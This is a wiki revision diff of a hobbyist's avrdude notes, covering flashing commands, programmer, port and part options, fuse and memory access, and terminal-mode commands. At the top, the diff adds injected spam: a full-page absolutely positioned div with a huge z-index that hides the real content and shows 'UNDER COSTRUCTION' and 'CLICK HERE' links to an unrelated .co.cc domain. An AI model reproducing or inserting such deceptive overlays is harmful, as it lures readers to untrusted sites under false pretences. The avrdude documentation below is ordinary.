Avrdude
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ojiqovam.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
+ | ---- | ||
+ | =[http://ojiqovam.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
For detailed info: | For detailed info: | ||
− | + | <pre> | |
$ man avrdude | $ man avrdude | ||
− | + | </pre> | |
− | + | <h2>See Also</h2> | |
− | [[avr-gcc]] | + | [[avr-gcc]]<br> |
− | [[bus pirate]] | + | [[bus pirate]]<br> |
− | [[atmega328p]] | + | [[atmega328p]]<br> |
http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/ | http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/ | ||
− | + | <h2>Useful Lines</h2> | |
− | + | <h3>For using the Arduino bootloader</h3> | |
− | + | <pre> | |
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex | $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex | ||
$ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i | $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i | ||
− | + | </pre> | |
− | + | <h3>For using the buspirate</h3> | |
− | + | <pre> | |
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex | $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex | ||
$ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i | $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i | ||
− | + | </pre> | |
− | + | <h2>Parameters</h2> | |
− | Parameters marked with a | + | Parameters marked with a <span style="color:red">*</span> are required. |
− | + | <h3><span style="color:red">*</span> Programmer Type</h3> | |
− | * | + | * <code>-c buspirate</code> - for use with the buspirate |
− | * | + | * <code>-c stk500v1</code> - for use with the Arduino bootloader |
* other (see the man page) | * other (see the man page) | ||
− | + | <h3><span style="color:red">*</span> Programmer Port</h3> | |
− | * | + | * <code>-P /dev/ttyUSB1</code> - the most likely for my systems |
− | + | <h3><span style="color:red">*</span> Part Identifier</h3> | |
− | * | + | * <code>-p m168</code> - for use with an ATMega168 |
− | * | + | * <code>-p m328p</code> - for use with an ATMega328p |
− | * | + | * <code>-p m1280</code> - for use with an ATMega1280 |
− | + | <h3><span style="color:red">*</span> Burn Counter</h3> | |
Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom | Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom | ||
− | * | + | * <code>-y</code> - to increment the burn counter each burn |
− | * | + | * <code>-Y <i>value</i></code> - to initialise the burn counter |
− | + | <h3>Baud Rate</h3> | |
− | Required for | + | Required for <code>stk500v1</code><br> |
− | * | + | * <code>-b 57600</code> - for most of mine |
− | + | <h3>Terminal Mode</h3> | |
− | * | + | * <code>-t</code> - see [[#terminal_mode]] for mode |
− | + | <h3>Memory Access</h3> | |
There are others, but these are the most common | There are others, but these are the most common | ||
− | * | + | * <code>-U flash:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - where the firmware lives |
− | * | + | * <code>-U eeprom:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - non-volatile memory |
− | * | + | * <code>-U lfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - low fuse byte |
− | * | + | * <code>-U hfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - high fuse byte |
− | * | + | * <code>-U efuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - extended fuse byte |
− | + | <code><i>operation</i></code> can be: | |
− | * | + | * <code>r</code> - read |
− | * | + | * <code>w</code> - write |
− | * | + | * <code>v</code> - verify |
− | + | <code><i>filename</i></code> points to the file to use | |
− | + | <code><i>format</i></code> can be: | |
− | * | + | * <code>a</code> or omitted - for auto-detection |
− | * | + | * <code>i</code> - Intel Hex (output from obj-dump) |
− | * | + | * <code>r</code> - Raw binary |
* other (see the man page) | * other (see the man page) | ||
− | + | <h2 id="terminal_mode">Terminal Mode Commands</h2> | |
− | + | <h3><code>dump</code></h3> | |
− | * | + | * <code>dump <i>memtype</i> <i>address</i> <i>nBytes</i></code> - dump <i>nBytes</i> from <i>address</i> in hex and ASCII |
− | * | + | * <code>dump</code> - continue for another <i>nBytes</i> |
− | + | <h3><code>write</code></h3> | |
− | * | + | * <code>write <i>memtype</i> <i>address</i> <i>byte1</i> <i>...</i> <i>byteN</i></code> - write to memory by hand, currently doesn't work with flash :( |
− | + | <h3><code>parm</code></h3> | |
− | * | + | * <code>part</code> - display information on the connected part |
Revision as of 01:26, 24 November 2010
For detailed info: <pre> $ man avrdude </pre>
<h2>See Also</h2> avr-gcc<br> bus pirate<br> atmega328p<br> http://doswa.com/blog/2010/08/24/avrdude-5-10-with-ftdi-bitbang/
<h2>Useful Lines</h2> <h3>For using the Arduino bootloader</h3> <pre> $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex $ avrdude -c stk500v1 -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i </pre> <h3>For using the buspirate</h3> <pre> $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:w:main.hex $ avrdude -c buspirate -P /dev/ttyUSB1 -p m328p -y -U flash:r:main.hex:i </pre>
<h2>Parameters</h2> Parameters marked with a <span style="color:red">*</span> are required. <h3><span style="color:red">*</span> Programmer Type</h3>
- <code>-c buspirate</code> - for use with the buspirate
- <code>-c stk500v1</code> - for use with the Arduino bootloader
- other (see the man page)
<h3><span style="color:red">*</span> Programmer Port</h3>
- <code>-P /dev/ttyUSB1</code> - the most likely for my systems
<h3><span style="color:red">*</span> Part Identifier</h3>
- <code>-p m168</code> - for use with an ATMega168
- <code>-p m328p</code> - for use with an ATMega328p
- <code>-p m1280</code> - for use with an ATMega1280
<h3><span style="color:red">*</span> Burn Counter</h3> Not technically required, but a good idea. The burn counter is stored in the last 4 bytes of eeprom
- <code>-y</code> - to increment the burn counter each burn
- <code>-Y <i>value</i></code> - to initialise the burn counter
<h3>Baud Rate</h3> Required for <code>stk500v1</code><br>
- <code>-b 57600</code> - for most of mine
<h3>Terminal Mode</h3>
- <code>-t</code> - see #terminal_mode for mode
<h3>Memory Access</h3> There are others, but these are the most common
- <code>-U flash:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - where the firmware lives
- <code>-U eeprom:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - non-volatile memory
- <code>-U lfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - low fuse byte
- <code>-U hfuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - high fuse byte
- <code>-U efuse:<i>operation</i>:<i>filename</i>[:<i>format</i>]</code> - extended fuse byte
<code><i>operation</i></code> can be:
- <code>r</code> - read
- <code>w</code> - write
- <code>v</code> - verify
<code><i>filename</i></code> points to the file to use
<code><i>format</i></code> can be:
- <code>a</code> or omitted - for auto-detection
- <code>i</code> - Intel Hex (output from obj-dump)
- <code>r</code> - Raw binary
- other (see the man page)
<h2 id="terminal_mode">Terminal Mode Commands</h2> <h3><code>dump</code></h3>
- <code>dump <i>memtype</i> <i>address</i> <i>nBytes</i></code> - dump <i>nBytes</i> from <i>address</i> in hex and ASCII
- <code>dump</code> - continue for another <i>nBytes</i>
<h3><code>write</code></h3>
- <code>write <i>memtype</i> <i>address</i> <i>byte1</i> <i>...</i> <i>byteN</i></code> - write to memory by hand, currently doesn't work with flash :(
<h3><code>parm</code></h3>
- <code>part</code> - display information on the connected part